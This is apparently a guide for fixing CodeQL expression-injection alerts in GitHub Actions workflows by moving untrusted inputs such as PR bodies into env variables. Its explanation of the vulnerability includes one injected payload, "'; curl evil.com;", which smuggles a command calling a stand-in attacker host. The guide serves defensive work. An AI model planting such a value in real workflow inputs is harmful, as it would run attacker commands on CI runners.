CodeQL Expression Injector Fixer

CodeQL Expression Injector Fixer

Fix expression injection vulnerabilities in GitHub Actions workflows by wrapping untrusted inputs in environment variables.

Input

{
  "alerts": [
    {
      "number": 12,
      "location": ".github/workflows/deploy.yml",
      "line_number": 45,
      "message": "Potential code injection (expression language input without proper escaping) from github.event.pull_request.body"
    }
  ]
}

Vulnerability Pattern

Dangerous: Untrusted input directly in run: command

- name: Process PR
  run: curl https://api.example.com -d "${{ github.event.pull_request.body }}"

Vulnerability: If PR body contains '; curl evil.com;, entire command is compromised.

Dangerous contexts:

• github.event.pull_request.body
• github.event.pull_request.title
• github.event.issue.body
• github.event.comment.body
• github.event.review.body
• Any *.*.*.*.message or *.*.*.*.body fields
• github.head_ref

Fix Pattern

Safe: Wrap in env: block, reference via variable

- name: Process PR
  env:
    PR_BODY: ${{ github.event.pull_request.body }}
  run: curl https://api.example.com -d "$PR_BODY"

Why safe: GitHub masks environment variable values in logs (if they're secrets), and more importantly, the untrusted input is now a string variable, not part of the shell command itself.

Workflow per Alert

1. Parse Alert & Locate Vulnerability

• Open workflow file at specified line
• Identify the step with run: command
• Locate the dangerous expression (usually already highlighted in message)

2. Identify Dangerous Input

Extract the exact expression:

${{ github.event.* }}
${{ github.head_ref }}

Document the dangerous context (what field, what event).

3. Implement Safe Pattern

Create environment variable name from context:

• ${{ github.event.pull_request.body }} -> env: PR_BODY
• ${{ github.event.pull_request.title }} -> env: PR_TITLE
• ${{ github.event.comment.body }} -> env: COMMENT_BODY
• ${{ github.head_ref }} -> env: HEAD_REF